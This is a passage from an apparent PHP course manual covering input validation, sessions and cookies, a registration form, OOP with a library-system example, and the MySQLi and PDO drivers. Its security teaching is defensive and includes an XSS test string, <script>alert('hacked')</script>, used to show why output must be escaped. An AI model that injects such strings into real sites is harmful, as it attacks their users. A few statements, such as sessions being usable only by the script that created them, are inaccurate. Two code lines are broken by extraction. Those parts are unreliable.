2. Input validation. Validation is crucial when user input is used in database queries. It helps prevent SQL injection by ensuring input does not contain malicious SQL code. (The proper defence, prepared statements, is covered in Indicative Content 2.3.)

3. Data type validation. Checking the type of a variable ensures it is used in the correct context. If you expect an integer, validate it:

```php
<?php
$age = filter_var($_POST['age'] ?? '', FILTER_VALIDATE_INT);
if ($age === false) {
    $errors[] = "Age must be a whole number.";
}

// Other type checks
var_dump(is_int(42));          // true
var_dump(is_string("hello"));  // true
var_dump(is_numeric("3.14"));  // true
var_dump(is_array([1, 2]));    // true
```

4. Email validation. PHP provides `filter_var()` with the `FILTER_VALIDATE_EMAIL` filter:

```php
<?php
$email = trim($_POST['email'] ?? '');

if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
    $errors[] = "Please enter a valid email address.";
}
```

5. Custom validation rules. Depending on your application you may need rules specific to your own use case:

```php
<?php
// A Rwandan phone number: 10 digits beginning 078, 072, 073 or 079
if (!preg_match('/^07[2389][0-9]{7}$/', $_POST['phone'] ?? '')) {
    $errors[] = "Enter a valid phone number, for example 0788123456.";
}

// A registration number in the form RW/2024/001
if (!preg_match('#^RW/\d{4}/\d{3}$#', $_POST['regno'] ?? '')) {
    $errors[] = "Registration number must look like RW/2024/001.";
}
```

The `filter_var()` filters worth knowing

Filter	Validates
`FILTER_VALIDATE_EMAIL`	An email address
`FILTER_VALIDATE_INT`	An integer
`FILTER_VALIDATE_FLOAT`	A decimal number
`FILTER_VALIDATE_URL`	A URL
`FILTER_VALIDATE_IP`	An IP address
`FILTER_VALIDATE_BOOLEAN`	true/false, yes/no, 1/0

c) Sessions and cookies

A **session** is a way to store information, in variables, to be used across multiple pages. When a user visits a website and a new session starts, the server creates a unique session ID and stores it in a cookie on the user's computer. The server also creates a file to hold the session variables for that user.

Sessions are useful for temporary data specific to one user and one browsing session — a shopping cart, or a login status.

A **cookie** is a small piece of data stored in the user's browser. It can hold information such as user preferences or login details. When a user visits a site, the server can send a cookie to the browser, which stores it. When the user returns later, the server can read the cookie and use what it contains.

Cookies are useful for longer-term data that must persist across sessions — a preferred language or theme, so the user does not have to set it on every visit. Cookies are stored as files on the user's computer and remain there for a specified length of time unless the user deletes them. They are limited in size, typically to 4 KB or less.

Using sessions in PHP. You must start a session with `session_start()`. This function must be called **before any output is sent to the browser**, so it goes at the very top of the script, before any HTML.

```php
<?php
session_start();

// Storing data in a session
$_SESSION['username'] = "alice";
$_SESSION['user_id']  = 42;
$_SESSION['role']     = "admin";

// Retrieving it on any other page (which must also call session_start())
echo "Welcome, " . $_SESSION['username'];

// Checking whether a session variable exists
if (isset($_SESSION['user_id'])) {
    echo "You are logged in.";
}

// Removing one variable
unset($_SESSION['role']);

// Destroying the whole session — used when logging out
session_unset();
session_destroy();
```

Using cookies in PHP. Use the `setcookie()` function. It takes the name of the cookie, its value, and an expiry time. The expiry is optional and given as a Unix timestamp; without it, the cookie expires when the browser closes.

```php
<?php
// Set a cookie lasting 30 days
setcookie("user_email", "alice@example.com", time() + (86400 * 30), "/");

// A more secure form, with all the options
setcookie("user_email", "alice@example.com", [
    'expires'  => time() + (86400 * 30),
    'path'     => '/',
    'secure'   => true,      // only sent over HTTPS
    'httponly' => true,      // not readable by JavaScript — blocks XSS theft
    'samesite' => 'Strict'   // not sent with cross-site requests — blocks CSRF
]);

// Reading a cookie
if (isset($_COOKIE['user_email'])) {
    echo "Welcome back, " . htmlspecialchars($_COOKIE['user_email']);
}

// Deleting a cookie — set it with a time in the past
setcookie("user_email", "", time() - 3600, "/");
```

Because cookies are stored on the user's computer and can be deleted at any time, always check that a cookie exists with `isset()` before trying to use it.

> `setcookie()`, like `session_start()`, sends an HTTP header, so it must be called **before any output**. A single blank line before your opening `<?php` tag will produce the error *"Cannot modify header information — headers already sent"*.

Differences between sessions and cookies

	Sessions	Cookies
Where stored	On the server	On the user's computer
Scope	Only accessible within the PHP script that created them	Can be accessed by any script on the domain that created them
Persistence	Held on the server and deleted when the user closes the browser	Remain on the computer for a set length of time unless deleted
Size	Can store as much as the server's session storage allows, usually several megabytes	Limited, typically to 4 KB
Security	More secure, because they are on the server and not accessible to the user	Less secure, because they are on the user's computer and can be read or modified by the user
Use cases	Temporary data specific to one user and one browsing session	Longer-term data that must persist across sessions

> **Never store anything you rely on for security in a cookie.** A cookie saying `is_admin=1` can be edited by the user in ten seconds using the browser's developer tools. Store the user's ID in the **session** and look up their role from the database.

Practical activity 1.3.2 — Applying PHP security for form handling

Create a simple registration form capturing a user's name, email and password. After submission the data is validated, stored in a session, and a cookie is set to remember the user's email.

Key reading 1.3.2 — Applying PHP security for form handling

1. PHP form handling

When building a website we often create forms to take input from users — a login form, a registration form. Creating the form on the page is done with HTML, while PHP transports those values from the page to the server and processes them. PHP provides the two superglobals `$_GET` and `$_POST` for collecting form data.

Understanding how an HTML form works

```
<form action="process.php" method="post">
    <label>Name: <input type="text" name="name"></label><br>
    <label>Email: <input type="email" name="email"></label><br>
    <button type="submit">Submit</button>
</form>
```

The `<form>` tag has two important attributes:

- **`action`** — the name of the file that will collect and handle the form data. Here it is a PHP file.
- **`method`** — how the data is sent, whether by POST or by GET.

Form handling with POST. If the method is POST, the data is sent using the HTTP POST method. In the PHP file named in `action`:

```
<?php
// process.php
$name  = $_POST['name'];
$email = $_POST['email'];

echo "Name: "  . htmlspecialchars($name)  . "<br>";
echo "Email: " . htmlspecialchars($email) . "<br>";
```

If you enter “Joe Developer” and “developerjoe@gmail.com”, that is what is printed.

Form handling with GET. If the method is GET, the data is sent using the HTTP GET method and appears in the URL. The same code, using the GET superglobal:

```
<?php
$name  = $_GET['name'];
$email = $_GET['email'];

echo "Name: "  . htmlspecialchars($name)  . "<br>";
echo "Email: " . htmlspecialchars($email) . "<br>";
```

The output is the same; only the transport differs. Look at the address bar and you will see `process.php?name=Joe+Developer&email=...`.

> Notice `htmlspecialchars()` in both examples. **Never echo user input directly.** If a user submits `<script>alert('hacked')</script>` as their name and you print it unescaped, that script runs in the browser of everyone who sees it. That is a cross-site scripting attack, and `htmlspecialchars()` is the one-line defence.

2. PHP form validation

Creating and validating a form while handling sessions and cookies involves several key steps.

Step 1 — Create the HTML form. Use the POST method for sensitive data.

`register.php`:

```
<?php
session_start();
?>
<!DOCTYPE html>
<html>
<head><title>Registration</title></head>
<body>

<h2>Create an account</h2>

<?php if (!empty($_SESSION['errors'])): ?>
    <div style="color:#b00; border:1px solid #b00; padding:10px;">
        <ul>
        <?php foreach ($_SESSION['errors'] as $error): ?>
            <li><?= htmlspecialchars($error) ?></li>
        <?php endforeach; ?>
        </ul>
    </div>
    <?php unset($_SESSION['errors']); ?>
<?php endif; ?>

<form action="process_form.php" method="post">
    <p>
        <label>Name:<br>
        <input type="text" name="name"
               value="<?= htmlspecialchars($_SESSION['old']['name'] ?? '') ?>" required>
        </label>
    </p>
    <p>
        <label>Email:<br>
        <input type="email" name="email"
               value="<?= htmlspecialchars($_COOKIE['user_email'] ?? '') ?>" required>
        </label>
    </p>
    <p>
        <label>Password:<br>
        <input type="password" name="password" required>
        </label>
    </p>
    <p><button type="submit">Register</button></p>
</form>

</body>
</html>
```

Step 2 — Process the form with PHP. Validate and sanitise the data.

`process_form.php`:

```php
<?php
session_start();

// Only accept POST requests
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    header("Location: register.php");
    exit;
}

$errors = [];

// --- Collect and clean the input ---
$name     = trim($_POST['name']     ?? '');
$email    = trim($_POST['email']    ?? '');
$password = $_POST['password']      ?? '';

// --- Validate ---
if ($name === '') {
    $errors[] = "Name is required.";
} elseif (strlen($name) < 3) {
    $errors[] = "Name must be at least 3 characters.";
} elseif (!preg_match("/^[a-zA-Z '-]+$/", $name)) {
    $errors[] = "Name may only contain letters, spaces, apostrophes and hyphens.";
}

if ($email === '') {
    $errors[] = "Email is required.";
} elseif (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
    $errors[] = "Please enter a valid email address.";
}

if ($password === '') {
    $errors[] = "Password is required.";
} elseif (strlen($password) < 8) {
    $errors[] = "Password must be at least 8 characters.";
} elseif (!preg_match('/[A-Z]/', $password) || !preg_match('/[0-9]/', $password)) {
    $errors[] = "Password must contain at least one capital letter and one number.";
}

// --- If anything failed, go back with the errors ---
if (!empty($errors)) {
    $_SESSION['errors'] = $errors;
    $_SESSION['old']    = ['name' => $name, 'email' => $email];
    header("Location: register.php");
    exit;
}

// --- Success: hash the password, never store it as plain text ---
$hashedPassword = password_hash($password, PASSWORD_DEFAULT);

// --- Step 3: store data in the session ---
$_SESSION['name']       = $name;
$_SESSION['email']      = $email;
$_SESSION['registered'] = true;

// --- Step 4: set a cookie to remember the email for 30 days ---
setcookie("user_email", $email, [
    'expires'  => time() + (86400 * 30),
    'path'     => '/',
    'httponly' => true,
```

```
    'samesite' => 'Strict'
]);

// (At this point you would insert the user into the database —
//  see Learning Outcome 2.)

header("Location: welcome.php");
exit;
```

Step 3 — Handle sessions. The session is started at the top of the file with `session_start()`. Data is stored and retrieved through `$_SESSION`, and a session is ended with `session_unset()` and `session_destroy()`, as shown in Key Reading 1.3.1.

Step 4 — Handle cookies. Cookies are set, read and deleted with `setcookie()` and `$_COOKIE`, as shown in Key Reading 1.3.1.

`welcome.php`:

```
<?php
session_start();

if (empty($_SESSION['registered'])) {
    header("Location: register.php");
    exit;
}
?>
<!DOCTYPE html>
<html>
<body>
    <h2>Welcome, <?= htmlspecialchars($_SESSION['name']) ?>!</h2>
    <p>Your account has been created with the email
       <?= htmlspecialchars($_SESSION['email']) ?>.</p>
    <p><a href="logout.php">Log out</a></p>
</body>
</html>
```

`logout.php`:

```
<?php
session_start();
session_unset();
session_destroy();
setcookie("user_email", "", time() - 3600, "/");
header("Location: register.php");
exit;
```

Step 5 — Test your form. Test thoroughly to confirm:

- **Validation** — inputs are properly validated, including the handling of invalid data. Try submitting an empty form, an email without an `@`, and a five-character password.
- **Sanitisation** — inputs are escaped to prevent XSS and other injection attacks. Try entering `<script>alert(1)</script>` as the name; it should appear as literal text, not run.
- **Sessions and cookies** — session data is correctly managed, and cookies are set and read as expected. Close the browser and return to check that the email is remembered.

Points to remember — Indicative content 1.3

Description of PHP security concepts

- PHP provides two superglobals for collecting form data: `$_GET` and `$_POST`.
- The common types of validation are form validation, input validation, data type validation, email validation and custom validation rules.
- To use cookies, use `setcookie()`; to use sessions, first call `session_start()`.
- Both `session_start()` and `setcookie()` must appear **before any output**, or you get the "headers already sent" error.

Applying PHP security for form handling

- The `<form>` tag has two key attributes, `action` and `method`, used according to purpose.
- Creating and validating forms while handling sessions and cookies involves these steps: create the HTML form, process the form with PHP, handle sessions, handle cookies, and test the form.
- **Validate on the server, always.** JavaScript validation in the browser improves the experience but provides no security whatsoever, because it can be bypassed in seconds.
- **Escape on output with `htmlspecialchars()`, hash passwords with `password_hash()`.** Never store a password as plain text, and never echo user input unescaped.

Application of learning 1.3

Global Studies University, located in Mid-East Africa, has at least one hundred employees working in different departments. They currently use paper and notebooks to record employee information such as identification, contact details, qualifications, positions and salaries. They want to digitise these activities.

You are hired to create and validate an employee registration form which will help the university record employee information into a database.

1.4 Implementation of object-oriented programming (OOP) in PHP

Duration: 7 hours

Theoretical activity 1.4.1 — Description of PHP object-oriented programming

Answer these before reading on:

1. What do you understand by object-oriented programming?
2. Define inheritance, polymorphism, abstraction and encapsulation.
3. Differentiate a class from an object.

Key reading 1.4.1 — Description of PHP object-oriented programming

1. What OOP is

Object-oriented programming (OOP) is a way of organising and structuring code by thinking about a program as a collection of individual entities called **objects**. Each object represents a specific thing and holds information about itself, known as its **state**, as well as a set of actions it can perform, known as its **behaviours**.

2. Object-oriented concepts

Class — a programmer-defined data type that includes local functions as well as local data. Think of a class as a **template** for making many instances of the same kind of object.

Object — an individual instance of the data structure defined by a class. You define a class once and then make many objects belonging to it. Objects are also called instances.

Member variable — a variable defined inside a class. This data is invisible from outside the class and is accessed through member functions. Once an object is created, these variables are called the **attributes** of the object. They are also called **properties**.

Member function — a function defined inside a class, used to access the object's data. Also called a **method**.

Inheritance — when a class is defined by inheriting the existing functionality of a parent class. The child class inherits all or some of the member functions and variables of the parent.

Parent class — a class that is inherited from by another class. Also called a base class or superclass.

Child class — a class that inherits from another class. Also called a subclass or derived class.

Polymorphism — the concept in which the same function can be used for different purposes. The function name remains the same but it may take a different number of arguments and do a different task.

Overloading — a type of polymorphism in which some or all operators have different implementations depending on the types of their arguments. Functions can also be overloaded with different implementations.

Data abstraction — any representation of data in which the implementation details are hidden, or abstracted away.

Encapsulation — the concept in which we bundle all the data and member functions together to form an object.

Constructor — a special type of function called automatically whenever an object is created from a class.

Destructor — a special type of function called automatically whenever an object is deleted or goes out of scope.

3. Defining PHP classes

The general form for defining a class is:

- The keyword `class`, followed by the name you want to give it.
- A set of braces enclosing any number of variable declarations and function definitions.
- Variable declarations, which may include an initial assignment to a constant value.
- Function definitions, which look much like standalone PHP functions but are local to the class and are used to set and access the object's data.

```
<?php
class Books {
    // Member variables (properties)
    public $title;
    public $price;

    // Member functions (methods)
    public function setTitle($par) {
        $this->title = $par;
    }

    public function getTitle() {
        return $this->title;
    }

    public function setPrice($par) {
        $this->price = $par;
    }

    public function getPrice() {
        return $this->price;
    }
}
```

The variable `$this` is a special variable referring to the object itself — the particular instance whose method is currently running.

> The original manual says that variable declarations "start with the special form `var`". The `var` keyword is a relic of PHP 4 and has been deprecated for two decades. Use the visibility keywords `public`, `protected` or `private` instead, as shown above.

4. Creating objects in PHP

Once you have defined a class you can create as many objects of that type as you like, using the `new` operator.

```
<?php
$physics   = new Books();
$maths     = new Books();
$chemistry = new Books();
```

These three objects are independent of each other and have their own separate existence.

5. Calling member functions

After creating your objects you can call the member functions belonging to them. A member function processes the member variables of its own object only.

```
<?php
$physics->setTitle("Physics for High School");
$physics->setPrice(10000);

$maths->setTitle("Advanced Chemistry");
$maths->setPrice(15000);

$chemistry->setTitle("Chemistry Basics");
$chemistry->setPrice(7000);

// Now retrieve the values that were set
echo $physics->getTitle()   . " costs "  . $physics->getPrice()   . " RWF <br>";
echo $maths->getTitle()     . " costs "  . $maths->getPrice()     . " RWF <br>";
echo $chemistry->getTitle() . " costs "  . $chemistry->getPrice() . " RWF <br>";
```

6. Constructor functions

Constructors are special functions called automatically whenever an object is created. We take advantage of this behaviour by initialising things through the constructor.

PHP provides a special function called `__construct()` to define a constructor. You can pass as many arguments as you like into it.

```php
<?php
class Books {
    public $title;
    public $price;

    // The constructor runs automatically when an object is created
    public function __construct($title, $price) {
        $this->title = $title;
        $this->price = $price;
    }

    public function getTitle()  { return $this->title; }
    public function getPrice()  { return $this->price; }
}

// Now the values are set at the moment the object is created
$physics = new Books("Physics for High School", 10000);
$maths   = new Books("Advanced Mathematics", 15000);

echo $physics->getTitle();   // Physics for High School
```

There is no longer any need to call a `set` function separately.

PHP 8 allows **constructor property promotion**, which removes the repetition entirely:

```php
<?php
class Books {
    public function __construct(
        public string $title,
        public int $price
    ) {}
}

$book = new Books("Physics", 10000);
echo $book->title;
```

7. Destructor

Like a constructor, you can define a destructor using `__destruct()`. You can release resources within it — closing a file handle or a database connection, for example.

```php
<?php
class FileLogger {
    private $handle;

    public function __construct($filename) {
        $this->handle = fopen($filename, "a");
        echo "Log opened.<br>";
    }

    public function write($message) {
        fwrite($this->handle, date("Y-m-d H:i:s") . " – $message\n");
    }

    public function __destruct() {
        fclose($this->handle);
        echo "Log closed.<br>";
    }
}

$logger = new FileLogger("app.log");
$logger->write("Application started");
// When the script ends, __destruct() runs automatically
```

8. Inheritance

A PHP class definition can inherit from a parent class by using the **`extends`** clause.

The effect of inheritance is that the child class:

- Automatically has all the member variable declarations of the parent class.
- Automatically has all the same member functions as the parent, which by default work the same way as they do in the parent.

```php
<?php
class Novel extends Books {
    private $publisher;

    public function setPublisher($par) {
        $this->publisher = $par;
    }

    public function getPublisher() {
        return $this->publisher;
    }
}

$novel = new Novel("Things Fall Apart", 8000);
$novel->setPublisher("Heinemann");

echo $novel->getTitle();      // inherited from Books
echo $novel->getPublisher();  // its own method
```

Apart from the inherited functions, the class `Novel` keeps two additional member functions of its own.

9. Function overriding

Function definitions in a child class **override** definitions with the same name in the parent class. In a child class you can modify the definition of a function inherited from the parent.

```
<?php
class Novel extends Books {
    // Override the parent's method to change what it returns
    public function getPrice() {
        return $this->price . " RWF (novel pricing)";
    }

    public function getTitle() {
        return "Novel: " . $this->title;
    }
}

$novel = new Novel("Things Fall Apart", 8000);
echo $novel->getTitle();      // Novel: Things Fall Apart
echo $novel->getPrice();      // 8000 RWF (novel pricing)
```

You can still reach the parent's version using `parent::`:

```
public function getTitle() {
    return "Novel: " . parent::getTitle();
}
```

10. Visibility — public, private and protected members

Public members. Unless you specify otherwise, properties and methods are **public**, meaning they can be accessed in three situations:

- From outside the class in which they are declared.
- From within the class in which they are declared.
- From within another class that extends the class in which they are declared.

Private members. By designating a member **private**, you limit its accessibility to the class in which it is declared. A private member cannot be referred to from classes that inherit it, and cannot be accessed from outside the class. Make a member private with the `private` keyword.

Protected members. A **protected** member sits between the two: it is accessible within its own class and within any class that inherits it, but not from outside.

Keyword	Inside the class	In a child class	Outside
`public`	Yes	Yes	Yes
`protected`	Yes	Yes	No
`private`	Yes	No	No

```php
<?php
class BankAccount {
    public    $accountNumber;   // anyone can read it
    protected $accountType;     // this class and its children
    private   $balance = 0;     // this class only

    public function deposit($amount) {
        if ($amount > 0) {
            $this->balance += $amount;
        }
        return $this->balance;
    }

    public function getBalance() {
        return $this->balance;
    }
}

$account = new BankAccount();
$account->deposit(50000);
echo $account->getBalance();   // 50000 — through the public method

// echo $account->balance;     // FATAL ERROR — balance is private
// $account->balance = 999999; // and this is exactly why it is private
```

This is **encapsulation** in practice: the balance can only change through a method that checks the amount is valid.

Practical activity 1.4.2 — Applying OOP concepts

Create a simple library management system applying classes, objects, inheritance, encapsulation and polymorphism.

Key reading 1.4.2 — Applying OOP concepts

Applying OOP in PHP involves several steps, from understanding the concepts to implementing them in code.

1. Understand the OOP concepts

- **Classes and objects** — classes are blueprints for creating objects; objects are instances of classes.
- **Encapsulation** — bundling data (properties) and the methods that operate on that data within a class, using visibility modifiers to control access.
- **Inheritance** — creating a new class based on an existing one, so the subclass inherits the parent's properties and methods.
- **Polymorphism** — allowing objects of different classes to be treated as objects of a common superclass, with subclass methods overriding those of the parent.

- **Abstraction** — hiding complex implementation details and exposing only the essential features, achieved with abstract classes and interfaces.

2. Design your classes

Identify the entities and their relationships. Determine the entities — User, Product, Order — and how they relate, for example that an Order contains Products.

Define each class's responsibilities. Decide what each class represents and what methods and properties it needs. For a `User` class you might need properties such as `name` and `email`, and methods such as `register()` and `login()`.

3. Create classes and objects

```
<?php
class User {
    public $name;
    public $email;

    public function __construct($name, $email) {
        $this->name  = $name;
        $this->email = $email;
    }

    public function register() {
        return "{$this->name} has been registered.";
    }

    public function login() {
        return "{$this->name} is now logged in.";
    }
}

$user = new User("Uwase Claire", "claire@example.com");
echo $user->register();
```

4. Apply encapsulation

Use `private` or `protected` for properties and methods that should not be reachable from outside, and provide public **getter** and **setter** methods where access is needed.

```php
<?php
class Member {
    private $memberId;
    private $name;
    private $borrowedBooks = [];

    public function __construct($memberId, $name) {
        $this->memberId = $memberId;
        $this->name     = $name;
    }

    // Getter
    public function getName() {
        return $this->name;
    }

    // Setter, with validation — this is why encapsulation matters
    public function setName($name) {
        if (strlen($name) < 2) {
            throw new InvalidArgumentException("Name is too short.");
        }
        $this->name = $name;
    }

    public function borrow($bookTitle) {
        if (count($this->borrowedBooks) >= 3) {
            return "{$this->name} has already borrowed the maximum of 3 books.";
        }
        $this->borrowedBooks[] = $bookTitle;
        return "{$this->name} borrowed '{$bookTitle}'.";
    }

    public function getBorrowedBooks() {
        return $this->borrowedBooks;
    }
}
```

5. Implement inheritance

Use the `extends` keyword to create a class inheriting from another.

```php
<?php
class LibraryItem {
    protected $title;
    protected $itemId;
    protected $available = true;

    public function __construct($itemId, $title) {
        $this->itemId = $itemId;
        $this->title  = $title;
    }

    public function getTitle() {
        return $this->title;
    }

    public function describe() {
        return "Item #{$this->itemId}: {$this->title}";
    }
}

class Book extends LibraryItem {
    private $author;
    private $isbn;

    public function __construct($itemId, $title, $author, $isbn) {
        parent::__construct($itemId, $title);
        $this->author = $author;
        $this->isbn   = $isbn;
    }

    public function describe() {
        return "Book #{$this->itemId}: '{$this->title}' by {$this->author} (ISBN {$this-
>isbn})";
    }
}

class Magazine extends LibraryItem {
    private $issue;

    public function __construct($itemId, $title, $issue) {
        parent::__construct($itemId, $title);
        $this->issue = $issue;
    }

    public function describe() {
        return "Magazine #{$this->itemId}: {$this->title}, issue {$this->issue}";
    }
}
```

6. Use polymorphism

Override methods in the subclasses to provide specific implementations. The power of polymorphism is that the calling code does not need to know or care which subclass it has.

```php
<?php
$items = [
    new Book(1, "Things Fall Apart", "Chinua Achebe", "978-0385474542"),
    new Magazine(2, "New Times", "March 2025"),
    new Book(3, "The River Between", "Ngugi wa Thiong'o", "978-0435905484")
];

// The same call, describe(), behaves differently for each object
foreach ($items as $item) {
    echo $item->describe() . "<br>";
}
```

7. Implement abstraction

Abstract classes cannot be instantiated and may contain abstract methods that subclasses must implement.

```php
<?php
abstract class LibraryItem {
    protected $title;
    protected $itemId;

    public function __construct($itemId, $title) {
        $this->itemId = $itemId;
        $this->title  = $title;
    }

    // A concrete method, shared by all subclasses
    public function getTitle() {
        return $this->title;
    }

    // An abstract method — every subclass MUST provide its own version
    abstract public function describe();
    abstract public function getLoanPeriodDays();
}

class Book extends LibraryItem {
    public function describe() {
        return "Book: {$this->title}";
    }
    public function getLoanPeriodDays() {
        return 21;
    }
}

class DVD extends LibraryItem {
    public function describe() {
        return "DVD: {$this->title}";
    }
    public function getLoanPeriodDays() {
        return 7;
    }
}

// $item = new LibraryItem(1, "x");  // FATAL ERROR — abstract classes cannot be
instantiated
$book = new Book(1, "Things Fall Apart");
echo $book->describe() . " — loan period " . $book->getLoanPeriodDays() . " days";
```

Interfaces specify a set of methods that any implementing class must define. A class can implement several interfaces, whereas it can extend only one class.

```php
<?php
interface Borrowable {
    public function borrow($memberId);
    public function returnItem();
}

interface Reservable {
    public function reserve($memberId);
}

class Book extends LibraryItem implements Borrowable, Reservable {
    private $borrowedBy = null;
    private $reservedBy = null;

    public function describe() {
        return "Book: {$this->title}";
    }
    public function getLoanPeriodDays() {
        return 21;
    }
    public function borrow($memberId) {
        if ($this->borrowedBy !== null) {
            return "That book is already on loan.";
        }
        $this->borrowedBy = $memberId;
        return "Book borrowed by member {$memberId}.";
    }
    public function returnItem() {
        $this->borrowedBy = null;
        return "Book returned.";
    }
    public function reserve($memberId) {
        $this->reservedBy = $memberId;
        return "Book reserved for member {$memberId}.";
    }
}
```

Abstract class or interface? Use an **abstract class** when the subclasses share code as well as a contract. Use an **interface** when you only want to guarantee that certain methods exist, and the implementations have nothing in common.

8. Test your implementation

Write a script to test that your classes behave as expected.

```php
<?php
require_once 'LibraryItem.php';
require_once 'Book.php';
require_once 'Member.php';

// Create some items
$book1 = new Book(1, "Things Fall Apart", "Chinua Achebe", "978-0385474542");
$book2 = new Book(2, "The River Between", "Ngugi wa Thiong'o", "978-0435905484");

// Create a member
$member = new Member("M001", "Uwase Claire");

// Test borrowing
echo $book1->borrow("M001") . "<br>";
echo $book1->borrow("M002") . "<br>";   // should refuse — already on loan
echo $book1->returnItem()   . "<br>";
echo $book1->borrow("M002") . "<br>";   // now it should succeed

echo $member->borrow("Things Fall Apart") . "<br>";
print_r($member->getBorrowedBooks());
```

9. Refactor and optimise

Review your code for improvements. Refactor classes and methods to improve readability, maintainability and performance. Ask whether any class has grown too large, whether any code is duplicated between subclasses and could move to the parent, and whether any method is doing more than one thing.

10. Document your code

Add comments documenting classes, methods and properties, explaining their purpose and usage. The standard format is the **docblock**:

```php
<?php
/**
 * Represents a book in the library catalogue.
 *
 * A Book is a LibraryItem that can be borrowed for 21 days
 * and reserved when it is already on loan.
 */
class Book extends LibraryItem implements Borrowable, Reservable {

    /**
     * Lend this book to a member.
     *
     * @param string $memberId The ID of the borrowing member
     * @return string A message describing the result
     */
    public function borrow($memberId) {
        // ...
    }
}
```

By following these steps you can apply OOP principles effectively to create organised, maintainable and scalable code.

Points to remember — Indicative content 1.4

- To work professionally in PHP you must be familiar with these concepts: **class, object, inheritance, polymorphism, data abstraction and encapsulation**.
- PHP provides `__construct()` to define a constructor and `__destruct()` to define a destructor.
- The steps for applying OOP are: understand the concepts, design your classes, create classes and objects, apply encapsulation, implement inheritance, use polymorphism, implement abstraction, test your implementation, refactor and optimise, and document your code.
- Visibility: `public` is reachable everywhere, `protected` within the class and its children, `private` within the class only.
- Use `parent::` to call the parent's version of a method you have overridden.
- An **abstract class** shares code and enforces a contract; an **interface** enforces a contract only. A class extends one class but may implement many interfaces.

Application of learning 1.4

ABC_MEDIA company needs a system to manage employee records. The system should handle basic functions such as adding new employees, viewing employee details and updating employee information.

As a web application developer you are asked to build a solution to help ABC_MEDIA manage their employee records. You are required to use PHP with OOP concepts, to ensure the code is modular and maintainable.

LO2 · Connect PHP to the Database

Duration: 37 hours

Objectives

By the end of this learning outcome you will be able to:

1. Describe correctly the key terms related to PHP and database connection.
2. Apply properly the database connection drivers.
3. Perform correctly database CRUD operations.
4. Apply effectively PHP basic security concepts.
5. Handle properly errors and exceptions in PHP.
6. Implement correctly user authentication.

2.1 Application of database connection drivers

Duration: 9 hours

Theoretical activity 2.1.1 — Key terms related to PHP and database connection

Answer these before reading on:

1. Define database, DBMS, database drives and database drivers.
2. What is MySQLi?
3. What is PDO?
4. Differentiate MySQLi from PDO.

Key reading 2.1.1 — Key terms related to PHP and database connection

1. Key terms

a) Database. A structured collection of data stored and managed in a way that allows efficient retrieval, manipulation and organisation, using a database management system.

b) DBMS. Software designed to create, manage and interact with databases. It provides a systematic way to store, retrieve and manipulate data, keeping it organised efficiently and securely.

Examples of DBMS software:

DBMS	Description
MySQL	An open-source RDBMS widely used for web applications
PostgreSQL	An advanced open-source RDBMS known for robustness and standards compliance
Oracle Database	A commercial RDBMS with extensive enterprise features
Microsoft SQL Server	A commercial RDBMS from Microsoft, popular in enterprise environments
MongoDB	A popular NoSQL database known for flexibility and scalability

c) Database drives compared with database drivers. These two terms sound alike and are frequently confused, so the distinction is worth stating clearly.

Database drives generally refers to the **storage devices** where databases are physically stored — hard disk drives, solid-state drives, or any other physical or virtual storage media.

These drives hold the actual data files, indexes, logs and other components of the database system.

Database drivers are **software components** that enable applications to communicate with a DBMS. They act as an intermediary between the application and the database, translating the application's queries, written in SQL, into commands the database understands. Common types include ODBC (Open Database Connectivity), JDBC (Java Database Connectivity), and specific drivers for MySQL, PostgreSQL or Oracle.

In short: **database drives concern where the database is physically stored; database drivers concern how software communicates with it.**

2. MySQLi

MySQLi (MySQL Improved) is a PHP extension providing an interface for interacting with MySQL databases. It is an improved version of the older `mysql` extension, offering a more robust and feature-rich set of tools.

Key features of MySQLi:

1. **Improved security.** MySQLi supports **prepared statements**, which help prevent SQL injection attacks by separating the SQL query from the user input.
2. **Object-oriented and procedural interfaces.** MySQLi provides both styles, letting developers choose whichever suits them.
3. **Enhanced performance.** It includes support for transactions and performance options that make database interaction more efficient.
4. **Multiple statements.** MySQLi can execute several SQL statements in a single call, though this requires careful handling to avoid security risks.
5. **Support for transactions.** Several SQL operations can be grouped into one unit of work that is committed or rolled back as a whole.
6. **Prepared statements.** This improves both performance and security by allowing queries to be prepared once and executed with parameters, rather than being built dynamically from user input.
7. **Enhanced debugging.** MySQLi offers more detailed error reporting than the old `mysql` extension.

Benefits of using MySQLi in an object-oriented way:

1. **Encapsulation** — database interactions are wrapped inside objects, making the code more modular and easier to maintain.
2. **Code reusability** — creating classes for database operations lets you reuse code and keep the codebase organised.
3. **Inheritance** — you can extend classes to add functionality without altering the original.
4. **Abstraction** — complex database operations sit behind simple method calls, improving readability.

> The original `mysql_*` extension (`mysql_connect`, `mysql_query`) was **removed from PHP in version 7**. Any tutorial you find online using those functions is at least a decade out of date, and the code will not run. Use MySQLi or PDO.

3. PDO

PDO (PHP Data Objects) is a PHP extension providing a consistent interface for accessing various databases. It offers a flexible and secure way to interact with databases and is designed to work with several database systems. It is often favoured for its object-oriented approach and its support for prepared statements.

Key features of PDO:

1. **Database independence.** PDO provides a uniform API for different database systems, so you can switch between MySQL, PostgreSQL, SQLite and others with minimal code changes.
2. **Prepared statements.** PDO supports them, separating SQL logic from user input and preventing SQL injection.
3. **Error handling.** PDO offers robust error handling through **exceptions**, making errors easier to manage and debug.
4. **Transactions.** PDO supports grouping several operations into one unit of work.
5. **Fetching data.** PDO provides various methods for fetching from a result set — as associative arrays, numeric arrays or objects.

4. PDO compared with MySQLi

Feature	MySQLi	PDO
Database support	Specifically for MySQL databases, versions 4.1.3 and later	Supports many systems: MySQL, PostgreSQL, SQLite, SQL Server, Oracle. Provides a consistent API across all of them, making it easy to switch
API style	Offers both procedural and object-oriented interfaces. Procedural: `mysqli_connect()`, `mysqli_query()`, `mysqli_fetch_assoc()`. Object-oriented: `$mysqli->query()`, `$result->fetch_assoc()`	Object-oriented only: `$pdo->query()`, `$pdo->prepare()`, `$stmt->fetch()`
Prepared statements	Supported, for protection against SQL injection	Supported, with more flexibility through **named placeholders**
Error handling	Traditional error handling with `mysqli_error()` and `mysqli_errno()`, or exceptions if configured with `mysqli_report()`	Uses **exceptions**, which is more intuitive for managing errors
Transactions	`begin_transaction()`, `commit()`, `rollback()`	`beginTransaction()`, `commit()`, `rollBack()`
Fetching data	`fetch_assoc()`, `fetch_row()`, `fetch_object()`	`fetch()`, `fetchAll()`, with fetch styles such as `PDO::FETCH_ASSOC` and `PDO::FETCH_OBJ`

